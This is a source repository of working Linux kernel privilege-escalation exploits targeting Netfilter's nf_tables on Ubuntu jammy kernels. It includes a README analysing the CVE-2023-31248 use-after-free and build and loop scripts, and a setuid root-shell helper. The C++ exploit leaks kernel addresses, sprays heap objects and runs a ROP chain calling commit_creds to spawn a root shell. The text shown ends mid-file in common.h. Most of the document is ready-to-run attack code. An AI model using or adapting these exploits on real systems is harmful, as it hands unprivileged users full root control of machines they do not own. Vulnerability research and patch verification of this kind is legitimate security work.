├── chain-active ├── dummy ├── monke ├── pack.sh ├── chain-active ├── x ├── build.sh ├── ex.sh ├── monke.c ├── README.md └── exploit.c ├── README.md ├── ZDI-22-1118 ├── README.md └── exploit.c ├── rule-id-lookup ├── README.md ├── exploit.cpp └── common.h ├── .gitignore └── LICENSE /chain-active/dummy: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kungfulon/nf-tables-lpe/HEAD/chain-active/dummy -------------------------------------------------------------------------------- /chain-active/monke: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kungfulon/nf-tables-lpe/HEAD/chain-active/monke -------------------------------------------------------------------------------- /chain-active/pack.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | tar -cvzf exp.tar.gz chain-active dummy ex.sh monke x 3 | -------------------------------------------------------------------------------- /chain-active/chain-active: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kungfulon/nf-tables-lpe/HEAD/chain-active/chain-active -------------------------------------------------------------------------------- /chain-active/x: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | chown root:root /tmp/monke 3 | chmod 777 /tmp/monke 4 | chmod u+s /tmp/monke 5 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # nf-tables-lpe 2 | 3 | Exploits of Team Orca from Sea Security and Qrious Secure for multiple vulnerabilities in Netfilter's `nf_table` module. 4 | -------------------------------------------------------------------------------- /chain-active/build.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | gcc -fdiagnostics-color=always -no-pie -g -Wall -O0 -std=c17 exploit.c -o chain-active -lmnl -lnftnl 4 | gcc monke.c -o monke 5 | -------------------------------------------------------------------------------- /chain-active/ex.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | while true; do 4 | cp x /tmp/x 5 | cp dummy /tmp/dummy 6 | cp monke /tmp/monke 7 | chmod +x /tmp/x /tmp/dummy /tmp/monke 8 | ./chain-active 9 | /tmp/dummy > /dev/null 2>&1 10 | /tmp/monke 11 | done 12 | -------------------------------------------------------------------------------- /chain-active/monke.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #include 5 | 6 | int main(int argc, char **argv, char **envp) 7 | { 8 | const char *args[] = {"/bin/bash", "-i", NULL}; 9 | 10 | setuid(0); 11 | setgid(0); 12 | execve(args[0], (char **)args, envp); 13 | } 14 | -------------------------------------------------------------------------------- /ZDI-22-1118/README.md: -------------------------------------------------------------------------------- 1 | # ZDI-22-1118 2 | 3 | Exploit for [ZDI-22-1118](https://www.zerodayinitiative.com/advisories/ZDI-22-1118/). For Ubuntu `jammy`, kernel version `5.15.0-30-generic`. 4 | 5 | This exploit uses `CVE-2022-2078` and `CVE-2022-2586`. 6 | 7 | Note that you will need to patch `libnftnl` to be able to overflow `NFTA_SET_DESC_CONCAT`. 8 | -------------------------------------------------------------------------------- /rule-id-lookup/README.md: -------------------------------------------------------------------------------- 1 | # rule-id-lookup 2 | 3 | Exploit for [this patch](https://github.com/torvalds/linux/commit/36d5b2913219ac853908b0f1c664345e04313856). For Ubuntu `jammy`, kernel version `5.15.0-41-generic`. 4 | 5 | Compile: 6 | 7 | ``` 8 | g++ -fdiagnostics-color=always -no-pie -g -Wall -O0 -std=c++17 exploit.cpp -o nf_obj -lmnl -lnftnl 9 | ``` 10 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Prerequisites 2 | *.d 3 | 4 | # Compiled Object files 5 | *.slo 6 | *.lo 7 | *.o 8 | *.obj 9 | 10 | # Precompiled Headers 11 | *.gch 12 | *.pch 13 | 14 | # Compiled Dynamic libraries 15 | *.so 16 | *.dylib 17 | *.dll 18 | 19 | # Fortran module files 20 | *.mod 21 | *.smod 22 | 23 | # Compiled Static libraries 24 | *.lai 25 | *.la 26 | *.a 27 | *.lib 28 | 29 | # Executables 30 | *.exe 31 | *.out 32 | *.app 33 | 34 | .vscode 35 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2022 Team Orca of Sea Security 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /chain-active/README.md: -------------------------------------------------------------------------------- 1 | ## CVE-2023-31248 2 | 3 | `nft_chain` can be looked up by name, handle or ID. Let's go through the functions that do the job. 4 | 5 | Lookup by name: 6 | 7 | ```c 8 | static struct nft_chain *nft_chain_lookup(struct net *net, 9 | struct nft_table *table, 10 | const struct nlattr *nla, u8 genmask) 11 | { 12 | char search[NFT_CHAIN_MAXNAMELEN + 1]; 13 | struct rhlist_head *tmp, *list; 14 | struct nft_chain *chain; 15 | 16 | if (nla == NULL) 17 | return ERR_PTR(-EINVAL); 18 | 19 | nla_strscpy(search, nla, sizeof(search)); 20 | 21 | WARN_ON(!rcu_read_lock_held() && 22 | !lockdep_commit_lock_is_held(net)); 23 | 24 | chain = ERR_PTR(-ENOENT); 25 | rcu_read_lock(); 26 | list = rhltable_lookup(&table->chains_ht, search, nft_chain_ht_params); 27 | if (!list) 28 | goto out_unlock; 29 | 30 | rhl_for_each_entry_rcu(chain, tmp, list, rhlhead) { 31 | if (nft_active_genmask(chain, genmask)) 32 | goto out_unlock; 33 | } 34 | chain = ERR_PTR(-ENOENT); 35 | out_unlock: 36 | rcu_read_unlock(); 37 | return chain; 38 | } 39 | ``` 40 | 41 | Lookup by handle: 42 | 43 | ```c 44 | static struct nft_chain * 45 | nft_chain_lookup_byhandle(const struct nft_table *table, u64 handle, u8 genmask) 46 | { 47 | struct nft_chain *chain; 48 | 49 | list_for_each_entry(chain, &table->chains, list) { 50 | if (chain->handle == handle && 51 | nft_active_genmask(chain, genmask)) 52 | return chain; 53 | } 54 | 55 | return ERR_PTR(-ENOENT); 56 | } 57 | ``` 58 | 59 | Lookup by ID: 60 | 61 | ```c 62 | static struct nft_chain *nft_chain_lookup_byid(const struct net *net, 63 | const struct nft_table *table, 64 | const struct nlattr *nla) 65 | { 66 | struct nftables_pernet *nft_net = nft_pernet(net); 67 | u32 id = ntohl(nla_get_be32(nla)); 68 | struct nft_trans *trans; 69 | 70 | list_for_each_entry(trans, &nft_net->commit_list, list) { 71 | struct nft_chain *chain = trans->ctx.chain; 72 | 73 | if (trans->msg_type == NFT_MSG_NEWCHAIN && 74 | chain->table == table && 75 | id == nft_trans_chain_id(trans)) 76 | return chain; 77 | } 78 | return ERR_PTR(-ENOENT); 79 | } 80 | ``` 81 | 82 | In both `nft_chain_lookup` and `nft_chain_lookup_byhandle`, they check if the chain is active by calling `nft_active_genmask`. A chain will be deactivated if the user send a `DELETE` message for that chain. This check ensures that another object will not be able to refer to a deactivated chain. However in `nft_chain_lookup_byid`, the check will not be conducted. That means we can refer to a deactivated chain. But at cleanup stage, if `chain->use` is not `0`, a warning will be issued and the chain won't be freed. We must find a way to make a reference to a deactivated chain while still satisfy the condition to free it. 83 | 84 | Netfilter transaction will not free the deleted objects when commiting. Instead, Netfilter will run a deferred task to delete it later. Therefore, we can achieve Use-After-Free condition like this: 85 | 86 | Batch 1: 87 | 88 | - Create table 89 | - Create chain `victim` 90 | - Mark chain `victim` as deleted 91 | - Create chain `attack` 92 | - Create rule belong to `attack` chain, with a `nft_immediate` expression refer to `victim` by ID => `victim->use == 1` 93 | - Commit the batch => Cleanup task will be queued 94 | 95 | Batch 2: 96 | 97 | - Mark the rule we created in the previous batch as deleted => `victim->use == 0` 98 | - Wait for the cleanup task to complete => `victim` will be freed 99 | - Fail the batch using some invalid input => the rule will not be marked as deleted anymore 100 | 101 | The `nft_immediate` expression in the rule still refer to the freed chain. We have achieved Use-After-Free condition. From here we can spray fake chain object to leak (using `nft_immediate` dump function) or to execute code (need to create fake rule and fake expression as well to call expression ops). This primitive can be used multiple times reliably. 102 | -------------------------------------------------------------------------------- /rule-id-lookup/exploit.cpp: -------------------------------------------------------------------------------- 1 | #include "common.h" 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | constexpr uint64_t PUSH_RSI_JMP_PTR_RSI_41 = 0x2d43db; // push rsi ; jmp qword ptr [rsi + 0x41] 10 | constexpr uint64_t POP_RSP_RCX_RET = 0x1246a0; // pop rsp ; pop rcx ; ret 11 | constexpr uint64_t POP_RDI_RET = 0x9110d; // pop rdi ; ret 12 | constexpr uint64_t PREPARE_KERNEL_CRED = 0xe8750; // prepare_kernel_cred 13 | constexpr uint64_t POP_RDX_RET = 0x26f2f2; // pop rdx ; ret 14 | constexpr uint64_t CMP_RDX_1_JNE_RET = 0x353857; // cmp rdx, 1 ; jne 0xffffffff8135385e ; ret 15 | constexpr uint64_t POP_R13_RBP_RET = 0x31c1; // pop r13 ; pop rbp ; ret 16 | constexpr uint64_t MOV_RDI_RAX_JNE_XOR_EAX_EAX_RET = 0x628fd4; // mov rdi, rax ; jne 0xffffffff81628fc1 ; xor eax, eax ; ret 17 | constexpr uint64_t COMMIT_CREDS = 0xe8490; // commit_creds 18 | constexpr uint64_t KPTI_TRAMPOLINE = 0xe00ff0 + 0x1b; // swapgs_restore_regs_and_return_to_usermode + offset 19 | 20 | uint64_t iter, user_cs, user_ss, user_rflags, user_sp; 21 | char **env; 22 | 23 | void monke() 24 | { 25 | INFO("Return to monke"); 26 | setns(open("/proc/1/ns/user", O_RDONLY), 0); 27 | setns(open("/proc/1/ns/net", O_RDONLY), 0); 28 | const char *args[] = {"/bin/bash", "-i", NULL}; 29 | execve(args[0], (char **)args, env); 30 | } 31 | 32 | void save_state() 33 | { 34 | __asm__ 35 | ( 36 | ".intel_syntax noprefix;" 37 | "mov user_cs, cs;" 38 | "mov user_ss, ss;" 39 | "mov user_sp, rsp;" 40 | "pushf;" 41 | "pop user_rflags;" 42 | ".att_syntax;" 43 | ); 44 | INFO("Saved state"); 45 | } 46 | 47 | void setup() 48 | { 49 | INFO("Setting up namespace sandbox"); 50 | 51 | if (unshare(CLONE_NEWUSER) == -1) 52 | ERROR("unshare(CLONE_NEWUSER"); 53 | 54 | if (unshare(CLONE_NEWNET) == -1) 55 | ERROR("unshare(CLONE_NEWNET)"); 56 | 57 | cpu_set_t set; 58 | CPU_ZERO(&set); 59 | CPU_SET(0, &set); 60 | if (sched_setaffinity(getpid(), sizeof(set), &set) == -1) 61 | ERROR("sched_setaffinity"); 62 | } 63 | 64 | void trigger_uaf(MNLSocket &nl) 65 | { 66 | INFO("Triggering UAF"); 67 | 68 | ++iter; 69 | 70 | std::string victim_name = std::to_string(iter) + "_victim"; 71 | std::string immhost_name = std::to_string(iter) + "_immhost"; 72 | 73 | NFChain victim, c_immhost; 74 | NFImmediate imm; 75 | NFRule attacker, r_immhost; 76 | 77 | victim.set_table("t").set_name(victim_name.c_str()); 78 | c_immhost.set_table("t").set_name(immhost_name.c_str()); 79 | imm.set_dreg(NFT_REG_VERDICT).set_verdict(NFT_GOTO).set_chain(victim_name.c_str()); 80 | attacker.set_family(NFPROTO_INET).set_table("t").set_chain(immhost_name.c_str()).set_id(0x1337); 81 | r_immhost.set_family(NFPROTO_INET).set_table("t").set_chain(immhost_name.c_str()).add_expr(imm); 82 | 83 | NFBatch b; 84 | b.start().add(victim).add(c_immhost).add(r_immhost).add(attacker).del(attacker.set_chain(victim_name.c_str())).del(victim).end(); 85 | b.send(nl); 86 | b.run_all_cb(nl); 87 | 88 | sleep(1); 89 | } 90 | 91 | void spray_objects(MNLSocket &nl, const void *data, uint32_t len) 92 | { 93 | INFO("Spraying objects"); 94 | 95 | static constexpr int OBJ_COUNT = 1024; 96 | static constexpr int OBJ_PER_BATCH = 8; 97 | static constexpr int OBJ_SPRAY_BATCHES = OBJ_COUNT / OBJ_PER_BATCH; 98 | 99 | for (int i = 0; i < OBJ_SPRAY_BATCHES; ++i) 100 | { 101 | NFBatch b; 102 | b.start(); 103 | 104 | for (int j = 0; j < OBJ_PER_BATCH; ++j) 105 | { 106 | NFObject o; 107 | std::string objname = std::to_string(iter) + std::to_string(i * OBJ_PER_BATCH + j); 108 | o.set_family(NFPROTO_INET).set_table("ts").set_name(objname.c_str()).set_type(NFT_OBJECT_COUNTER).set_udata(data, len); 109 | b.add(o); 110 | } 111 | 112 | b.end(); 113 | b.send(nl); 114 | b.run_all_cb(nl); 115 | } 116 | } 117 | 118 | std::string dump_imm_name(MNLSocket &nl) 119 | { 120 | std::string s; 121 | std::string immhost_name = std::to_string(iter) + "_immhost"; 122 | NFRule r; 123 | 124 | r.set_family(NFPROTO_INET).set_table("t").set_chain(immhost_name.c_str()); 125 | 126 | NFDumper::dump(r, nl, [](const struct nlmsghdr *nlh, void *data) -> int { 127 | auto r = nftnl_rule_alloc(); 128 | 129 | if (nftnl_rule_nlmsg_parse(nlh, r) < 0) 130 | ERROR("nftnl_rule_nlmsg_parse"); 131 | 132 | if (nftnl_expr_foreach(r, [](nftnl_expr *e, void *data) -> int { 133 | auto s = nftnl_expr_get_str(e, NFTNL_EXPR_IMM_CHAIN); 134 | if (s != nullptr) 135 | { 136 | std::string *str = (std::string *)data; 137 | str->append(s, strlen(s)); 138 | } 139 | return 0; 140 | }, data) < 0) 141 | ERROR("nftnl_expr_foreach"); 142 | 143 | nftnl_rule_free(r); 144 | return MNL_CB_OK; 145 | }, &s); 146 | 147 | return s; 148 | } 149 | 150 | std::string leak_sz_at(MNLSocket &nl, uint64_t addr) 151 | { 152 | INFO("Trying to leak data at 0x%016lx", addr); 153 | 154 | char spray_data[128] = {0}; 155 | *(uint64_t *)(spray_data + 0x58) = addr; 156 | 157 | trigger_uaf(nl); 158 | spray_objects(nl, spray_data, sizeof(spray_data)); 159 | return dump_imm_name(nl); 160 | } 161 | 162 | int main(int argc, char **argv, char **envp) 163 | { 164 | setup(); 165 | 166 | { 167 | pid_t pid = fork(); 168 | if (pid == 0) 169 | { 170 | setsid(); 171 | close(0); 172 | close(1); 173 | close(2); 174 | while (1) 175 | sleep(1000); 176 | } 177 | } 178 | 179 | env = envp; 180 | save_state(); 181 | 182 | INFO("Opening netfilter socket"); 183 | 184 | MNLSocket nl(NETLINK_NETFILTER); 185 | 186 | INFO("Setup netfilter table"); 187 | 188 | { 189 | NFTable t, ts; 190 | NFChain c; 191 | NFObject o; 192 | NFSet s; 193 | 194 | t.set_family(NFPROTO_INET).set_name("t"); 195 | ts.set_family(NFPROTO_INET).set_name("ts"); 196 | o.set_family(NFPROTO_INET).set_table("t").set_name("o").set_type(NFT_OBJECT_COUNTER); 197 | c.set_table("t").set_name("c"); 198 | s.set_family(NFPROTO_INET).set_table("t").set_name("s").set_id(1).set_key_len(4).set_flags(NFT_SET_OBJECT).set_obj_type(NFT_OBJECT_COUNTER); 199 | 200 | NFBatch b; 201 | b.start().add(t).add(ts).add(o).add(c).add(s).end(); 202 | b.send(nl); 203 | b.run_all_cb(nl); 204 | } 205 | 206 | trigger_uaf(nl); 207 | 208 | INFO("Spray rules to reclaim freed chain"); 209 | 210 | constexpr int RULES_PER_BATCH = 8; 211 | constexpr int RULES_TOTAL = 1024; 212 | constexpr int RULES_BATCH_COUNT = RULES_TOTAL / RULES_PER_BATCH; 213 | 214 | for (int i = 0; i < RULES_BATCH_COUNT; ++i) 215 | { 216 | NFBatch b; 217 | b.start(); 218 | 219 | for (int j = 0; j < RULES_PER_BATCH; ++j) 220 | { 221 | NFRule rs; 222 | NFObjRef es1, es2, es3; 223 | 224 | es1.set_set_name("s").set_set_sreg(NFT_REG32_00); 225 | es2.set_imm_name("o").set_imm_type(NFT_OBJECT_COUNTER); 226 | es3.set_imm_name("o").set_imm_type(NFT_OBJECT_COUNTER); 227 | rs.set_family(NFPROTO_INET).set_table("t").set_chain("c").add_expr(es1).add_expr(es2).add_expr(es3); 228 | 229 | b.add(rs); 230 | } 231 | 232 | b.end(); 233 | b.send(nl); 234 | b.run_all_cb(nl); 235 | } 236 | 237 | INFO("Leak table address"); 238 | uint64_t table; 239 | 240 | { 241 | std::string s = dump_imm_name(nl); 242 | if (s.size() < 8) 243 | ERROR("Table address leak failed") 244 | table = *(uint64_t*)s.data() - 0xb8; 245 | } 246 | 247 | INFO("table = 0x%016lx", table); 248 | 249 | INFO("Leak nf_tables.ko base"); 250 | uint64_t nf_tables_ko; 251 | 252 | { 253 | std::string s = leak_sz_at(nl, table + 0x30); 254 | if (s.size() < 8) 255 | ERROR("nf_tables.ko base leak failed") 256 | nf_tables_ko = *(uint64_t*)s.data() - 0xb70; 257 | } 258 | 259 | INFO("nf_tables.ko = 0x%016lx", nf_tables_ko); 260 | 261 | INFO("Leak kernel base"); 262 | uint64_t vmlinux; 263 | 264 | { 265 | std::string s = leak_sz_at(nl, nf_tables_ko + 0xfee); 266 | if (s.size() < 4) 267 | ERROR("Kernel base leak failed") 268 | vmlinux = (0xffffffff00000000ull | ((uint32_t)nf_tables_ko + 0xff2u + *(uint32_t*)s.data())) - 0x338520; 269 | } 270 | 271 | INFO("vmlinux = 0x%016lx", vmlinux); 272 | 273 | struct nft_expr_ops 274 | { 275 | void (*eval)(); 276 | int (*clone)(); 277 | unsigned int size; 278 | int (*init)(); 279 | void (*activate)(); 280 | void (*deactivate)(); 281 | void (*destroy)(); 282 | void (*destroy_clone)(); 283 | int (*dump)(); 284 | int (*validate)(); 285 | bool (*gc)(); 286 | int (*offload)(); 287 | bool (*offload_action)(); 288 | void (*offload_stats)(); 289 | const struct nft_expr_type *type; 290 | void *data; 291 | }; 292 | 293 | INFO("Crafting fake expr ops"); 294 | 295 | { 296 | char expr_ops[256] = {0}; 297 | struct nft_expr_ops *ops = (struct nft_expr_ops *)expr_ops; 298 | 299 | ops->size = 0x8; 300 | *(uint64_t*)&ops->validate = vmlinux + PUSH_RSI_JMP_PTR_RSI_41; 301 | 302 | NFSet s; 303 | s.set_family(NFPROTO_INET).set_table("t").set_name("s_expr_ops").set_id(2).set_key_len(4).set_udata(expr_ops, sizeof(expr_ops)); 304 | 305 | NFBatch b; 306 | b.start().add(s).end(); 307 | b.send(nl); 308 | b.run_all_cb(nl); 309 | } 310 | 311 | INFO("Leak fake expr ops address"); 312 | uint64_t expr_ops_addr; 313 | { 314 | std::string s = leak_sz_at(nl, table + 0xb1); 315 | if (s.size() < 7) 316 | ERROR("Fake expr ops address leak failed"); 317 | s.insert(s.begin(), '\x00'); 318 | expr_ops_addr = *(uint64_t*)s.data() + 0x1d0; 319 | } 320 | 321 | INFO("expr_ops_addr = 0x%016lx", expr_ops_addr); 322 | 323 | INFO("Crafting fake rule"); 324 | 325 | { 326 | char fake_rule[256] = {0}; 327 | struct nft_rule 328 | { 329 | void *next; 330 | void *prev; 331 | uint64_t handle : 42; 332 | uint64_t genmask : 2; 333 | uint64_t dlen : 12; 334 | uint64_t udata : 1; 335 | uint64_t data[]; 336 | } *r = (nft_rule *)fake_rule; 337 | 338 | r->dlen = 8; 339 | *(uint64_t *)((char *)r->data) = expr_ops_addr; 340 | *(uint64_t *)(((char *)r->data) + 0x41) = vmlinux + POP_RSP_RCX_RET; 341 | 342 | uint64_t *rop = (uint64_t *)(((char *)r->data) + 0x8); 343 | 344 | *rop++ = vmlinux + POP_RDI_RET; 345 | rop++; 346 | *rop++ = vmlinux + PREPARE_KERNEL_CRED; 347 | *rop++ = vmlinux + POP_RDX_RET; 348 | *rop++ = 0x1; 349 | *rop++ = vmlinux + CMP_RDX_1_JNE_RET; 350 | 351 | *rop++ = vmlinux + POP_R13_RBP_RET; 352 | rop++; 353 | rop++; 354 | 355 | *rop++ = vmlinux + MOV_RDI_RAX_JNE_XOR_EAX_EAX_RET; 356 | *rop++ = vmlinux + COMMIT_CREDS; 357 | 358 | *rop++ = vmlinux + KPTI_TRAMPOLINE; 359 | rop++; 360 | rop++; 361 | *rop++ = (uint64_t)monke; 362 | *rop++ = user_cs; 363 | *rop++ = user_rflags; 364 | *rop++ = user_sp; 365 | *rop++ = user_ss; 366 | 367 | NFSet s; 368 | s.set_family(NFPROTO_INET).set_table("t").set_name("s_rule").set_id(3).set_key_len(4).set_udata(fake_rule, sizeof(fake_rule)); 369 | 370 | NFBatch b; 371 | b.start().add(s).end(); 372 | b.send(nl); 373 | b.run_all_cb(nl); 374 | } 375 | 376 | INFO("Leak fake rule address"); 377 | uint64_t fake_rule_addr; 378 | 379 | { 380 | std::string s = leak_sz_at(nl, table + 0xb1); 381 | if (s.size() < 7) 382 | ERROR("Fake rule address leak failed"); 383 | s.insert(s.begin(), '\x00'); 384 | fake_rule_addr = *(uint64_t*)s.data() + 0x1d0; 385 | } 386 | 387 | INFO("fake_rule_addr = 0x%016lx", fake_rule_addr); 388 | 389 | INFO("Preparing for RIP control"); 390 | 391 | { 392 | INFO("Triggering UAF"); 393 | 394 | ++iter; 395 | 396 | std::string victim_name = std::to_string(iter) + "_victim"; 397 | std::string immhost_name = std::to_string(iter) + "_immhost"; 398 | 399 | NFChain victim, c_immhost, c_control; 400 | NFImmediate imm, imm_control; 401 | NFRule attacker, r_immhost, r_control; 402 | 403 | victim.set_table("t").set_name(victim_name.c_str()); 404 | c_immhost.set_table("t").set_name(immhost_name.c_str()); 405 | c_control.set_table("t").set_name("control").set_flags(NFT_CHAIN_BASE).set_hooknum(NF_INET_FORWARD).set_priority(0); 406 | imm.set_dreg(NFT_REG_VERDICT).set_verdict(NFT_GOTO).set_chain(victim_name.c_str()); 407 | imm_control.set_dreg(NFT_REG_VERDICT).set_verdict(NFT_GOTO).set_chain(immhost_name.c_str()); 408 | attacker.set_family(NFPROTO_INET).set_table("t").set_chain(immhost_name.c_str()).set_id(0x1337); 409 | r_immhost.set_family(NFPROTO_INET).set_table("t").set_chain(immhost_name.c_str()).add_expr(imm); 410 | r_control.set_family(NFPROTO_INET).set_table("t").set_chain("control").add_expr(imm_control); 411 | 412 | NFBatch b; 413 | b.start().add(victim).add(c_immhost).add(c_control).add(r_control).add(r_immhost).add(attacker).del(attacker.set_chain(victim_name.c_str())).del(victim).end(); 414 | b.send(nl); 415 | b.run_all_cb(nl); 416 | 417 | sleep(1); 418 | 419 | char fake_chain[128] = {0}; 420 | *(uint64_t*)(fake_chain + 0x10) = fake_rule_addr; 421 | spray_objects(nl, fake_chain, sizeof(fake_chain)); 422 | } 423 | 424 | INFO("RIP control"); 425 | 426 | { 427 | NFImmediate imm; 428 | NFRule r; 429 | 430 | imm.set_dreg(NFT_REG_VERDICT).set_verdict(NFT_RETURN); 431 | r.set_family(NFPROTO_INET).set_table("t").set_chain("c").add_expr(imm); 432 | 433 | NFBatch b; 434 | b.start().add(r).end(); 435 | b.send(nl); 436 | } 437 | } 438 | -------------------------------------------------------------------------------- /rule-id-lookup/common.h: -------------------------------------------------------------------------------- 1 | #ifndef _GNU_SOURCE 2 | #define _GNU_SOURCE 3 | #endif 4 | 5 | #include 6 | 7 | #include 8 | #include 9 | 10 | #include 11 | #include 12 | 13 | #include 14 | #include 15 | 16 | #include 17 | 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | 25 | #define ERROR(msg) \ 26 | { \ 27 | perror("[-] " msg); \ 28 | throw std::runtime_error(msg); \ 29 | } 30 | #define INFO(fmt, ...) \ 31 | { \ 32 | fprintf(stderr, "[*] " fmt "\n", ##__VA_ARGS__); \ 33 | } 34 | 35 | inline void hexdump(const std::string &s) 36 | { 37 | for (unsigned char c: s) printf("%02x ", c); 38 | putchar('\n'); 39 | } 40 | 41 | class NFExpr 42 | { 43 | public: 44 | NFExpr(const char *name) : ptr(nftnl_expr_alloc(name)) {} 45 | virtual ~NFExpr() 46 | { 47 | if (ptr != nullptr) 48 | { 49 | nftnl_expr_free(ptr); 50 | ptr = nullptr; 51 | } 52 | } 53 | 54 | public: 55 | nftnl_expr *ptr; 56 | 57 | public: 58 | friend class NFRule; 59 | }; 60 | 61 | class NFImmediate : public NFExpr 62 | { 63 | public: 64 | NFImmediate() : NFExpr("immediate") {} 65 | NFImmediate &set_dreg(uint32_t dreg) 66 | { 67 | nftnl_expr_set_u32(ptr, NFTNL_EXPR_IMM_DREG, dreg); 68 | return *this; 69 | } 70 | NFImmediate &set_verdict(uint32_t verdict) 71 | { 72 | nftnl_expr_set_u32(ptr, NFTNL_EXPR_IMM_VERDICT, verdict); 73 | return *this; 74 | } 75 | NFImmediate &set_chain(const char *chain) 76 | { 77 | nftnl_expr_set_str(ptr, NFTNL_EXPR_IMM_CHAIN, chain); 78 | return *this; 79 | } 80 | }; 81 | 82 | class NFObjRef : public NFExpr 83 | { 84 | public: 85 | NFObjRef() : NFExpr("objref") {} 86 | NFObjRef &set_set_id(uint32_t set_id) 87 | { 88 | nftnl_expr_set_u32(ptr, NFTNL_EXPR_OBJREF_SET_ID, set_id); 89 | return *this; 90 | } 91 | NFObjRef &set_set_name(const char *set_name) 92 | { 93 | nftnl_expr_set_str(ptr, NFTNL_EXPR_OBJREF_SET_NAME, set_name); 94 | return *this; 95 | } 96 | NFObjRef &set_set_sreg(uint32_t set_sreg) 97 | { 98 | nftnl_expr_set_u32(ptr, NFTNL_EXPR_OBJREF_SET_SREG, set_sreg); 99 | return *this; 100 | } 101 | NFObjRef &set_imm_name(const char *imm_name) 102 | { 103 | nftnl_expr_set_str(ptr, NFTNL_EXPR_OBJREF_IMM_NAME, imm_name); 104 | return *this; 105 | } 106 | NFObjRef &set_imm_type(uint32_t imm_type) 107 | { 108 | nftnl_expr_set_u32(ptr, NFTNL_EXPR_OBJREF_IMM_TYPE, imm_type); 109 | return *this; 110 | } 111 | }; 112 | 113 | class NFTable 114 | { 115 | public: 116 | NFTable() : ptr(nftnl_table_alloc()) {} 117 | ~NFTable() 118 | { 119 | if (ptr != nullptr) 120 | { 121 | nftnl_table_free(ptr); 122 | ptr = nullptr; 123 | } 124 | } 125 | NFTable &set_name(const char *name) 126 | { 127 | nftnl_table_set_str(ptr, NFTNL_TABLE_NAME, name); 128 | return *this; 129 | } 130 | NFTable &set_family(uint32_t family) 131 | { 132 | nftnl_table_set_u32(ptr, NFTNL_TABLE_FAMILY, family); 133 | return *this; 134 | } 135 | 136 | public: 137 | friend class NFBatch; 138 | nftnl_table *ptr; 139 | }; 140 | 141 | class NFChain 142 | { 143 | public: 144 | NFChain() : ptr(nftnl_chain_alloc()) {} 145 | ~NFChain() 146 | { 147 | if (ptr != nullptr) 148 | { 149 | nftnl_chain_free(ptr); 150 | ptr = nullptr; 151 | } 152 | } 153 | NFChain &set_table(const char *table) 154 | { 155 | nftnl_chain_set_str(ptr, NFTNL_CHAIN_TABLE, table); 156 | return *this; 157 | } 158 | NFChain &set_name(const char *name) 159 | { 160 | nftnl_chain_set_str(ptr, NFTNL_CHAIN_NAME, name); 161 | return *this; 162 | } 163 | NFChain &set_flags(uint32_t flags) 164 | { 165 | nftnl_chain_set_u32(ptr, NFTNL_CHAIN_FLAGS, flags); 166 | return *this; 167 | } 168 | NFChain &set_hooknum(uint32_t hooknum) 169 | { 170 | nftnl_chain_set_u32(ptr, NFTNL_CHAIN_HOOKNUM, hooknum); 171 | return *this; 172 | } 173 | NFChain &set_priority(uint32_t priority) 174 | { 175 | nftnl_chain_set_u32(ptr, NFTNL_CHAIN_PRIO, priority); 176 | return *this; 177 | } 178 | 179 | public: 180 | friend class NFBatch; 181 | nftnl_chain *ptr; 182 | }; 183 | 184 | class NFRule 185 | { 186 | public: 187 | NFRule() : ptr(nftnl_rule_alloc()) {} 188 | ~NFRule() 189 | { 190 | if (ptr != nullptr) 191 | { 192 | nftnl_rule_free(ptr); 193 | ptr = nullptr; 194 | } 195 | } 196 | NFRule &set_table(const char *table) 197 | { 198 | nftnl_rule_set_str(ptr, NFTNL_RULE_TABLE, table); 199 | return *this; 200 | } 201 | NFRule &set_chain(const char *chain) 202 | { 203 | nftnl_rule_set_str(ptr, NFTNL_RULE_CHAIN, chain); 204 | return *this; 205 | } 206 | NFRule &set_family(uint32_t family) 207 | { 208 | nftnl_rule_set_u32(ptr, NFTNL_RULE_FAMILY, family); 209 | return *this; 210 | } 211 | NFRule &set_id(uint32_t id) 212 | { 213 | nftnl_rule_set_u32(ptr, NFTNL_RULE_ID, id); 214 | return *this; 215 | } 216 | NFRule &add_expr(NFExpr &expr) 217 | { 218 | nftnl_rule_add_expr(ptr, expr.ptr); 219 | expr.ptr = nullptr; 220 | return *this; 221 | } 222 | NFRule &set_udata(const void *udata, uint32_t udlen) 223 | { 224 | nftnl_rule_set_data(ptr, NFTNL_RULE_USERDATA, udata, udlen); 225 | return *this; 226 | } 227 | NFRule &set_handle(uint32_t handle) 228 | { 229 | nftnl_rule_set_u32(ptr, NFTNL_RULE_HANDLE, handle); 230 | return *this; 231 | } 232 | 233 | public: 234 | friend class NFBatch; 235 | friend class NFChain; 236 | nftnl_rule *ptr; 237 | }; 238 | 239 | class NFObject 240 | { 241 | public: 242 